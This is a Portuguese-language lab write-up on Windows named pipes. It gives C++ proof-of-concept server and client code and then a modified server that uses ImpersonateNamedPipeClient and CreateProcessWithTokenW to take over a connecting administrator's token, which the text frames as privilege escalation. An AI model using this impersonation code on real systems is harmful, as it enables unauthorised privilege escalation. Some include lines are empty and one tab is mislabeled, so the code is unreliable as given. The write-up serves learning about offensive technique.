## Impersonação de Cliente de Pipe Nomeado
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## Visão Geral
Um `pipe` é um bloco de memória compartilhada que os processos podem usar para comunicação e troca de dados.
`Named Pipes` é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como `um servidor de pipe nomeado` e um `cliente de pipe nomeado`.
Um servidor de pipe nomeado pode abrir um pipe nomeado com um nome pré-definido e, em seguida, um cliente de pipe nomeado pode se conectar a esse pipe por meio do nome conhecido. Uma vez estabelecida a conexão, a troca de dados pode começar.
Este laboratório se preocupa com um código PoC simples que permite:
* criar um servidor de pipe nomeado burro de thread único que aceitará uma conexão de cliente
* servidor de pipe nomeado escrever uma mensagem simples no pipe nomeado para que o cliente de pipe possa lê-la
## Código
Abaixo está o PoC para o servidor e o cliente:
{% tabs %}
{% tab title="namedPipeServer.cpp" %}
```cpp
#include "pch.h"
#include
#include
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
return 0;
}
```
{% endtab %}
{% tab title="namedPipeServer.cpp" %}
```cpp
#include "pch.h"
#include
#include
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;
std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}
return 0;
}
```
## Execução
Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando como esperado:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
Vale ressaltar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:
![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
Verificando como o processo mantém um identificador para o nosso pipe nomeado `mantvydas-first-pipe`:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
Da mesma forma, podemos ver o cliente tendo um identificador aberto para o pipe nomeado:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
Podemos até ver nosso pipe com powershell:
```csharp
((Get-ChildItem \\.\pipe\).name)[-1..-5]
```
## Impersonação de Token
{% hint style="info" %}
Observe que, para impessoanar o token do processo do cliente, você precisa ter (o processo do servidor criando o pipe) o privilégio de token **`SeImpersonate`**
{% endhint %}
É possível para o servidor de pipe nomeado impessoanar o contexto de segurança do cliente de pipe nomeado, aproveitando uma chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token do thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.
Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impessoação - observe que as modificações são vistas na linha 25 e abaixo:
```cpp
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();
STARTUPINFO si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0;
}
```
Executando o servidor e conectando-se a ele com o cliente que está sendo executado sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do pipe do servidor nomeado assumiu o token do cliente do pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja sendo executado sob o contexto de segurança ws01\mantvydas. Parece ser uma boa maneira de escalar privilégios?